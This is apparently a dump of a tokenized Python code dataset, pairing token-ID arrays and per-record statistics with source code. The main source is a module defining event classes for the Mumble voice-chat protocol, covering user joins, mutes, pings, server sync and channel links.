22462, 62, 81, 21999, 62, 565, 82, 10354, 2994, 62, 81, 21999, 62, 565, 82, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 22462, 62, 81, 21999, 62, 3524, 10354, 2994, 62, 81, 21999, 62, 3524, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 22462, 62, 6015, 20471, 62, 565, 82, 10354, 2994, 62, 6015, 20471, 62, 565, 82, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 22462, 62, 6015, 20471, 62, 3524, 10354, 2994, 62, 6015, 20471, 62, 3524, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1782, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 299, 2676, 796, 357, 538, 5374, 532, 352, 8, 1635, 340, 364, 62, 525, 62, 538, 5374, 1343, 2239, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 329, 7621, 11, 1988, 287, 7508, 13, 23814, 33529, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6260, 13, 2860, 62, 1416, 282, 283, 7, 12985, 11, 1988, 11, 299, 2676, 8, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2994, 62, 29510, 796, 657, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 923, 796, 640, 13, 2435, 3419, 628, 220, 220, 220, 220, 220, 220, 220, 611, 26498, 13, 28961, 62, 27432, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3613, 62, 3672, 796, 28686, 13, 6978, 13, 22179, 7, 22915, 62, 15908, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 90, 92, 23330, 92, 23330, 92, 23330, 92, 23330, 27422, 79, 400, 4458, 18982, 7, 2536, 7, 22046, 13, 19608, 292, 316, 828, 965, 7, 22046, 13, 3262, 828, 6934, 11, 36835, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2239, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3613, 62, 3672, 796, 28686, 13, 6978, 13, 22179, 7, 22915, 62, 15908, 11, 705, 90, 92, 23330, 92, 23330, 92, 23330, 27422, 79, 400, 4458, 18982, 7, 2536, 7, 22046, 13, 19608, 292, 316, 828, 965, 7, 22046, 13, 3262, 828, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 36835, 11, 2239, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 3613, 62, 9122, 4122, 15090, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 29891, 10354, 26498, 13, 29891, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 538, 5374, 10354, 36835, 1343, 352, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 19849, 10354, 5443, 7397, 6144, 13, 5219, 62, 11600, 22784, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 40085, 7509, 10354, 6436, 7509, 13, 5219, 62, 11600, 22784, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 7742, 278, 62, 14171, 10354, 30218, 70, 13, 16402, 3535, 2751, 62, 49058, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 4871, 62, 4660, 15132, 10354, 26498, 13, 4871, 62, 4660, 15132, 11, 198, 220, 220, 220, 220, 220, 220, 220, 8964, 3613, 62, 3672, 8, 198, 220, 220, 220, 3601, 10786, 21928, 2746, 25, 23884, 4458, 18982, 7, 21928, 62, 3672, 4008, 198, 220, 220, 220, 886, 796, 640, 13, 2435, 3419, 198, 220, 220, 220, 3601, 7, 437, 532, 923, 8, 628, 220, 220, 220, 611, 26498, 13, 28961, 62, 27432, 25, 1303, 284, 7925, 262, 1612, 6097, 32649, 507, 286, 6934, 329, 4856, 198, 220, 220, 220, 220, 220, 220, 220, 1398, 62, 1078, 298, 507, 796, 17268, 13, 12286, 11600, 7, 4868, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1398, 62, 1078, 298, 507, 62, 83, 796, 17268, 13, 12286, 11600, 7, 4868, 8, 198, 220, 220, 220, 220, 220, 220, 220, 13634, 62, 2676, 796, 11629, 7, 28469, 1170, 263, 8, 198, 220, 220, 220, 220, 220, 220, 220, 329, 1312, 287, 2837, 7, 20910, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 778, 358, 1045, 11, 778, 77, 565, 82, 796, 1306, 7, 28961, 62, 2676, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 545, 62, 7890, 62, 4868, 796, 17635, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 545, 62, 10951, 62, 4868, 796, 17635, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 308, 83, 62, 29305, 62, 4868, 796, 17635, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 997, 62, 29305, 62, 4868, 796, 17635, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 545, 62, 7890, 796, 28034, 13, 43879, 51, 22854, 7, 16, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 26498, 13, 66, 15339, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 545, 62, 7890, 796, 545, 62, 7890, 13, 66, 15339, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 545, 62, 7890, 796, 35748, 7, 320, 62, 7890, 11, 22750, 28, 17821, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 545, 62, 7890, 13, 7890, 13, 411, 1096, 41052, 1050, 358, 1045, 13, 16485, 1453, 2736, 7, 15, 737, 7857, 3419, 737, 30073, 41052, 1050, 358, 1045, 13, 16485, 1453, 2736, 7, 15, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 545, 62, 7890, 62, 4868, 13, 33295, 7, 320, 62, 7890, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 32649, 507, 11, 32649, 507, 62, 83, 796, 5443, 7397, 6144, 7, 320, 62, 7890, 62, 4868, 11, 545, 62, 10951, 62, 4868, 11, 308, 83, 62, 29305, 62, 4868, 11, 997, 62, 29305, 62, 4868, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2811, 62, 9442, 28, 17821, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 329, 4686, 87, 11, 537, 82, 287, 27056, 378, 7, 1050, 77, 565, 82, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1398, 62, 1078, 298, 507, 58, 600, 7, 565, 82, 25295, 33295, 7, 1078, 298, 507, 58, 312, 87, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1398, 62, 1078, 298, 507, 62, 83, 58, 600, 7, 565, 82, 25295, 33295, 7, 1078, 298, 507, 62, 83, 58, 312, 87, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 15284, 1612, 3241, 30104, 286, 790, 1398, 198, 220, 220, 220, 220, 220, 220, 220, 1612, 62, 4871, 62, 1078, 298, 507, 796, 1391, 74, 25, 2160, 7, 85, 8, 1220, 18896, 7, 85, 8, 329, 479, 11, 410, 287, 1398, 62, 1078, 298, 507, 13, 23814, 3419, 92, 198, 220, 220, 220, 220, 220, 220, 220, 1612, 62, 4871, 62, 1078, 298, 507, 62, 83, 796, 1391, 74, 25, 2160, 7, 85, 8, 1220, 18896, 7, 85, 8, 329, 479, 11, 410, 287, 1398, 62, 1078, 298, 507, 62, 83, 13, 23814, 3419, 92, 198, 220, 220, 220, 220, 220, 220, 220, 3613, 62, 6978, 796, 705, 1078, 298, 507, 6, 198, 220, 220, 220, 220, 220, 220, 220, 611, 407, 28686, 13, 6978, 13, 1069, 1023, 7, 21928, 62, 6978, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 28686, 13, 28015, 15908, 7, 21928, 62, 6978, 8, 198, 220, 220, 220, 220, 220, 220, 220, 351, 1280, 7, 418, 13, 6978, 13, 22179, 7, 21928, 62, 6978, 11, 965, 7, 22046, 13, 40715, 8, 1343, 705, 62, 20910, 62, 6, 1343, 965, 7, 22046, 13, 20910, 8, 1343, 705, 62, 32604, 62, 4871, 62, 1078, 298, 507, 13, 79, 41582, 33809, 705, 39346, 11537, 355, 277, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2298, 293, 13, 39455, 7, 32604, 62, 4871, 62, 1078, 298, 507, 11, 277, 11, 2298, 293, 13, 39, 18060, 6465, 62, 4805, 2394, 4503, 3535, 8, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 10786, 21928, 705, 1343, 965, 7, 22046, 13, 20910, 8, 1343, 705, 1612, 6097, 32649, 507, 1760, 0, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 351, 1280, 7, 418, 13, 6978, 13, 22179, 7, 21928, 62, 6978, 11, 965, 7, 22046, 13, 40715, 8, 1343, 705, 62, 20910, 62, 6, 1343, 965, 7, 22046, 13, 20910, 8, 1343, 705, 62, 32604, 62, 4871, 62, 1078, 298, 507, 62, 83, 13, 79, 41582, 33809, 705, 39346, 11537, 355, 256, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2298, 293, 13, 39455, 7, 32604, 62, 4871, 62, 1078, 298, 507, 62, 83, 11, 256, 11, 2298, 293, 13, 39, 18060, 6465, 62, 4805, 2394, 4503, 3535, 8, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 10786, 21928, 705, 1343, 965, 7, 22046, 13, 20910, 8, 1343, 705, 1612, 6097, 32649, 507, 62, 83, 1760, 0, 11537, 198 ]
1.924292
12,152
import scripts.gui_elements import scripts.tools from scripts.Colors import Color from scripts.variables.localvars import * from systems.BaseSystem import BaseSystem from scripts import highlights # HELPER FUNCTIONS #
[ 11748, 14750, 13, 48317, 62, 68, 3639, 198, 11748, 14750, 13, 31391, 198, 6738, 14750, 13, 5216, 669, 1330, 5315, 198, 6738, 14750, 13, 25641, 2977, 13, 12001, 85, 945, 1330, 1635, 198, 6738, 3341, 13, 14881, 11964, 1330, 7308, 11964, 198, 6738, 14750, 1330, 11330, 628, 198, 220, 220, 220, 1303, 36255, 18973, 29397, 4177, 11053, 1303, 198 ]
3.79661
59
# coding=utf-8 """ Events specific to Mumble-based protocols """ __author__ = 'Gareth Coles' from system.events.base import BaseEvent class MumbleEvent(BaseEvent): """ A Mumble event. This will only be thrown from the Mumble protocol. If an event subclasses this, chances are it's a Mumble event. """ class Reject(MumbleEvent): """ A reject - Sent when we aren't able to connect to a server """ type = "" reason = "" def __init__(self, caller, typ, reason): """ Initialise the event object. """ self.type = typ self.reason = reason super(Reject, self).__init__(caller) class CodecVersion(MumbleEvent): """ Codec version message """ # TODO: Update this docstring when we know what this is for alpha = "" beta = "" prefer_alpha = False opus = "" def __init__(self, caller, alpha, beta, prefer_alpha, opus): """ Initialise the event object. """ self.alpha = alpha self.beta = beta self.prefer_alpha = prefer_alpha self.opus = opus super(CodecVersion, self).__init__(caller) class CryptoSetup(MumbleEvent): """ Crypto setup message """ # TODO: Update this docstring when we know what this is for key = "" client_nonce = "" server_nonce = "" def __init__(self, caller, key, client_n, server_n): """ Initialise the event object. """ self.key = key self.client_nonce = client_n self.server_nonce = server_n super(CryptoSetup, self).__init__(caller) class PermissionsQuery(MumbleEvent): """ Permissions query - Sent when.. we query permissions? """ # TODO: Update this docstring when we know what this is for channel = None permissions = "" flush = "" def __init__(self, caller, channel, permissions, flush): """ Initialise the event object. """ self.channel = channel self.permissions = permissions self.flush = flush super(PermissionsQuery, self).__init__(caller) class ServerSync(MumbleEvent): """ Server sync message - Sent when we connect to the server """ session = "" max_bandwidth = "" permissions = "" welcome_text = "" def __init__(self, caller, session, max_bandwidth, welcome_text, permissions): """ Initialise the event object. """ self.session = session self.max_bandwidth = max_bandwidth self.welcome_text = welcome_text self.permissions = permissions super(ServerSync, self).__init__(caller) class ServerConfig(MumbleEvent): """ Server config message """ # TODO: Update this docstring when we know what this is for max_bandwidth = "" welcome_text = "" allow_html = True message_length = 0 image_message_length = 0 def __init__(self, caller, max_bandwidth, welcome_text, allow_html, message_length, image_message_length): """ Initialise the event object. """ self.max_bandwidth = max_bandwidth self.welcome_text = welcome_text self.allow_html = allow_html self.message_length = message_length self.image_message_length = image_message_length super(ServerConfig, self).__init__(caller) class Ping(MumbleEvent): """ A ping, I guess """ timestamp = "" good = 0 late = 0 lost = 0 resync = 0 tcp = 0 udp = 0 tcp_avg = 0 udp_avg = 0 tcp_var = 0 udp_var = 0 def __init__(self, caller, timestamp, good, late, lost, resync, tcp, udp, tcp_avg, udp_avg, tcp_var, udp_var): """ Initialise the event object. """ self.timestamp = timestamp self.good = good self.late = late self.lost = lost self.resync = resync self.tcp = tcp self.udp = udp self.tcp_avg = tcp_avg self.udp_avg = udp_avg self.tcp_var = tcp_var self.udp_var = udp_var super(Ping, self).__init__(caller) class UserRemove(MumbleEvent): """ User removal message It looks like this is fired under three conditions.. * When a user disconnects or loses connection * *kicker* will be None in that case * When a user is kicked * *kicker* will be set and ban will be False * When a user is banned * *kicker* will be set and ban will be True This still requires some more research, the Mumble docs are awful. """ # TODO: Update this docstring when we're more sure of it session = "" # Session ID actor = "" # Session ID user = None # User object kicker = None # User object reason = "" # Reason ban = False # True if banned, false if kicked def __init__(self, caller, session, actor, user, reason, ban, kicker): """ Initialise the event object. """ self.caller = caller self.session = session self.actor = actor self.user = user self.reason = reason self.ban = ban self.kicker = kicker super(UserRemove, self).__init__(caller) class Unknown(MumbleEvent): """ Unknown message - Called when we get a message that isn't already handled """ type = "" message = None def __init__(self, caller, typ, message): """ Initialise the event object. """ self.type = typ self.message = message super(Unknown, self).__init__(caller) class UserJoined(MumbleEvent): """ User join - Sent when a user joins the server """ user = None def __init__(self, caller, user): """ Initialise the event object. """ self.user = user super(UserJoined, self).__init__(caller) class UserMoved(MumbleEvent): """ User moved - Sent when a user moves channel, or is moved This is also fired when a user connects. """ user = None channel = None old_channel = None def __init__(self, caller, user, channel, old): """ Initialise the event object. """ self.user = user self.channel = channel self.old_channel = old super(UserMoved, self).__init__(caller) class UserStateToggleEvent(MumbleEvent): """ Base class for events that are simply user state toggles Don't use this directly; inherit it! """ user = None state = False actor = None def __init__(self, caller, user, state, actor=None): """ Initialise the event object. """ self.user = user self.state = state self.actor = actor super(UserStateToggleEvent, self).__init__(caller) class UserMuteToggle(UserStateToggleEvent): """ User mute toggle - Sent when a user is muted or unmuted (but not by themselves) state: True if muted, False if unmuted """ pass class UserDeafToggle(UserStateToggleEvent): """ User deaf toggle - Sent when a user is deafened or undeafened (but not by themselves) state: True if deafened, False if undeafened """ pass class UserSuppressionToggle(UserStateToggleEvent): """ User suppression toggle - Sent when a user is suppressed or unsuppressed state: True if suppressed, False if unsuppressed """ pass class UserSelfMuteToggle(UserStateToggleEvent): """ User mute toggle - Sent when a user is muted or unmuted by themselves state: True if muted, False if unmuted """ pass class UserSelfDeafToggle(UserStateToggleEvent): """ User deaf toggle - Sent when a user is deafened or undeafened by themselves state: True if deafened, False if undeafened """ pass class UserPrioritySpeakerToggle(UserStateToggleEvent): """ Priority speaker toggle - Sent when a user is set as priority speaker state: True if set, False if unset """ pass class UserRecordingToggle(UserStateToggleEvent): """ Recording toggle - Sent when a user starts or stops recording state: True if started, False if stopped """ pass class UserStats(MumbleEvent): """ User stats updated user: User whose stats have been updated """ def __init__(self, caller, user): """ Initialise the event object. """ self.user = user super(UserStats, self).__init__(caller) class UserRegisteredEvent(MumbleEvent): """ Base class for user [un]registered events Don't use this directly; inherit it! """ def __init__(self, caller, user, user_id, actor): """ Initialise the event object. """ self.user = user self.user_id = user_id self.actor = actor super(UserRegisteredEvent, self).__init__(caller) class UserRegistered(UserRegisteredEvent): """ User registered user: User who has been registered user_id: User's new ID actor: User who registered `user` """ class UserUnregistered(UserRegisteredEvent): """ User unregistered user: User who has been unregistered user_id: User's old ID actor: User who unregistered `user` """ class ChannelCreated(MumbleEvent): """ New channel - Sent when a channel is created """ channel = None def __init__(self, caller, channel): """ Initialise the event object. """ self.channel = channel super(ChannelCreated, self).__init__(caller) class ChannelLinked(MumbleEvent): """ Channel link added - Sent when two channels are linked together """ from_channel = None to_channel = None def __init__(self, caller, from_, to_): """ Initialise the event object. """ self.from_channel = from_ self.to_channel = to_ super(ChannelLinked, self).__init__(caller) class ChannelUnlinked(MumbleEvent): """ Channel link removed - Sent when two channels have their link removed """ from_channel = None to_channel = None def __init__(self, caller, from_, to_): """ Initialise the event object. """ self.from_channel = from_ self.to_channel = to_ super(ChannelUnlinked, self).__init__(caller)
[ 2, 19617, 28, 40477, 12, 23, 198, 198, 37811, 198, 37103, 2176, 284, 337, 10344, 12, 3106, 19565, 198, 37811, 198, 198, 834, 9800, 834, 796, 705, 38, 26659, 1623, 274, 6, 198, 198, 6738, 1080, 13, 31534, 13, 8692, 1330, 7308, 9237, 628, 198, 4871, 337, 10344, 9237, 7, 14881, 9237, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 317, 337, 10344, 1785, 13, 770, 481, 691, 307, 8754, 422, 262, 337, 10344, 8435, 13, 198, 220, 220, 220, 1002, 281, 1785, 850, 37724, 428, 11, 8395, 389, 340, 338, 257, 337, 10344, 1785, 13, 198, 220, 220, 220, 37227, 628, 198, 4871, 797, 752, 7, 44, 10344, 9237, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 317, 4968, 532, 11352, 618, 356, 3588, 470, 1498, 284, 2018, 284, 257, 4382, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 2099, 796, 13538, 198, 220, 220, 220, 1738, 796, 13538, 628, 220, 220, 220, 825, 11593, 15003, 834, 7, 944, 11, 24955, 11, 2170, 11, 1738, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 20768, 786, 262, 1785, 2134, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 4906, 796, 2170, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 41181, 796, 1738, 628, 220, 220, 220, 220, 220, 220, 220, 2208, 7, 3041, 752, 11, 2116, 737, 834, 15003, 834, 7, 13345, 263, 8, 628, 198, 4871, 39298, 14815, 7, 44, 10344, 9237, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 39298, 2196, 3275, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1303, 16926, 46, 25, 10133, 428, 2205, 8841, 618, 356, 760, 644, 428, 318, 329, 628, 220, 220, 220, 17130, 796, 13538, 198, 220, 220, 220, 12159, 796, 13538, 198, 220, 220, 220, 4702, 62, 26591, 796, 10352, 198, 220, 220, 220, 1034, 385, 796, 13538, 628, 220, 220, 220, 825, 11593, 15003, 834, 7, 944, 11, 24955, 11, 17130, 11, 12159, 11, 4702, 62, 26591, 11, 1034, 385, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 20768, 786, 262, 1785, 2134, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 26591, 796, 17130, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 31361, 796, 12159, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 3866, 2232, 62, 26591, 796, 4702, 62, 26591, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 25790, 796, 1034, 385, 628, 220, 220, 220, 220, 220, 220, 220, 2208, 7, 43806, 721, 14815, 11, 2116, 737, 834, 15003, 834, 7, 13345, 263, 8, 628, 198, 4871, 36579, 40786, 7, 44, 10344, 9237, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 36579, 9058, 3275, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1303, 16926, 46, 25, 10133, 428, 2205, 8841, 618, 356, 760, 644, 428, 318, 329, 628, 220, 220, 220, 1994, 796, 13538, 198, 220, 220, 220, 5456, 62, 13159, 344, 796, 13538, 198, 220, 220, 220, 4382, 62, 13159, 344, 796, 13538, 628, 220, 220, 220, 825, 11593, 15003, 834, 7, 944, 11, 24955, 11, 1994, 11, 5456, 62, 77, 11, 4382, 62, 77, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 20768, 786, 262, 1785, 2134, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 2539, 796, 1994, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 16366, 62, 13159, 344, 796, 5456, 62, 77, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 15388, 62, 13159, 344, 796, 4382, 62, 77, 628, 220, 220, 220, 220, 220, 220, 220, 2208, 7, 23919, 78, 40786, 11, 2116, 737, 834, 15003, 834, 7, 13345, 263, 8, 628, 198, 4871, 2448, 8481, 20746, 7, 44, 10344, 9237, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 2448, 8481, 12405, 532, 11352, 618, 492, 356, 12405, 21627, 30, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1303, 16926, 46, 25, 10133, 428, 2205, 8841, 618, 356, 760, 644, 428, 318, 329, 628, 220, 220, 220, 6518, 796, 6045, 198, 220, 220, 220, 21627, 796, 13538, 198, 220, 220, 220, 24773, 796, 13538, 628, 220, 220, 220, 825, 11593, 15003, 834, 7, 944, 11, 24955, 11, 6518, 11, 21627, 11, 24773, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 20768, 786, 262, 1785, 2134, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 17620, 796, 6518, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 525, 8481, 796, 21627, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 25925, 796, 24773, 628, 220, 220, 220, 220, 220, 220, 220, 2208, 7, 5990, 8481, 20746, 11, 2116, 737, 834, 15003, 834, 7, 13345, 263, 8, 628, 198, 4871, 9652, 28985, 7, 44, 10344, 9237, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 9652, 17510, 3275, 532, 11352, 618, 356, 2018, 284, 262, 4382, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 6246, 796, 13538, 198, 220, 220, 220, 3509, 62, 3903, 10394, 796, 13538, 198, 220, 220, 220, 21627, 796, 13538, 198, 220, 220, 220, 7062, 62, 5239, 796, 13538, 628, 220, 220, 220, 825, 11593, 15003, 834, 7, 944, 11, 24955, 11, 6246, 11, 3509, 62, 3903, 10394, 11, 7062, 62, 5239, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 21627, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 20768, 786, 262, 1785, 2134, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 29891, 796, 6246, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 9806, 62, 3903, 10394, 796, 3509, 62, 3903, 10394, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 86, 9571, 62, 5239, 796, 7062, 62, 5239, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 525, 8481, 796, 21627, 628, 220, 220, 220, 220, 220, 220, 220, 2208, 7, 10697, 28985, 11, 2116, 737, 834, 15003, 834, 7, 13345, 263, 8, 628, 198, 4871, 9652, 16934, 7, 44, 10344, 9237, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 9652, 4566, 3275, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1303, 16926, 46, 25, 10133, 428, 2205, 8841, 618, 356, 760, 644, 428, 318, 329, 628, 220, 220, 220, 3509, 62, 3903, 10394, 796, 13538, 198, 220, 220, 220, 7062, 62, 5239, 796, 13538, 198, 220, 220, 220, 1249, 62, 6494, 796, 6407, 198, 220, 220, 220, 3275, 62, 13664, 796, 657, 198, 220, 220, 220, 2939, 62, 20500, 62, 13664, 796, 657, 628, 220, 220, 220, 825, 11593, 15003, 834, 7, 944, 11, 24955, 11, 3509, 62, 3903, 10394, 11, 7062, 62, 5239, 11, 1249, 62, 6494, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3275, 62, 13664, 11, 2939, 62, 20500, 62, 13664, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 20768, 786, 262, 1785, 2134, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 9806, 62, 3903, 10394, 796, 3509, 62, 3903, 10394, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 86, 9571, 62, 5239, 796, 7062, 62, 5239, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 12154, 62, 6494, 796, 1249, 62, 6494, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 20500, 62, 13664, 796, 3275, 62, 13664, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 9060, 62, 20500, 62, 13664, 796, 2939, 62, 20500, 62, 13664, 628, 220, 220, 220, 220, 220, 220, 220, 2208, 7, 10697, 16934, 11, 2116, 737, 834, 15003, 834, 7, 13345, 263, 8, 628, 198, 4871, 34263, 7, 44, 10344, 9237, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 317, 29400, 11, 314, 4724, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 41033, 796, 13538, 198, 220, 220, 220, 922, 796, 657, 198, 220, 220, 220, 2739, 796, 657, 198, 220, 220, 220, 2626, 796, 657, 198, 220, 220, 220, 581, 13361, 796, 657, 198, 220, 220, 220, 48265, 796, 657, 198, 220, 220, 220, 334, 26059, 796, 657, 198, 220, 220, 220, 48265, 62, 615, 70, 796, 657, 198, 220, 220, 220, 334, 26059, 62, 615, 70, 796, 657, 198, 220, 220, 220, 48265, 62, 7785, 796, 657, 198, 220, 220, 220, 334, 26059, 62, 7785, 796, 657, 628, 220, 220, 220, 825, 11593, 15003, 834, 7, 944, 11, 24955, 11, 41033, 11, 922, 11, 2739, 11, 2626, 11, 581, 13361, 11, 48265, 11, 334, 26059, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 48265, 62, 615, 70, 11, 334, 26059, 62, 615, 70, 11, 48265, 62, 7785, 11, 334, 26059, 62, 7785, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 20768, 786, 262, 1785, 2134, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 16514, 27823, 796, 41033, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 11274, 796, 922, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 17660, 796, 2739, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 33224, 796, 2626, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 411, 13361, 796, 581, 13361, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 83, 13155, 796, 48265, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 463, 79, 796, 334, 26059, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 83, 13155, 62, 615, 70, 796, 48265, 62, 615, 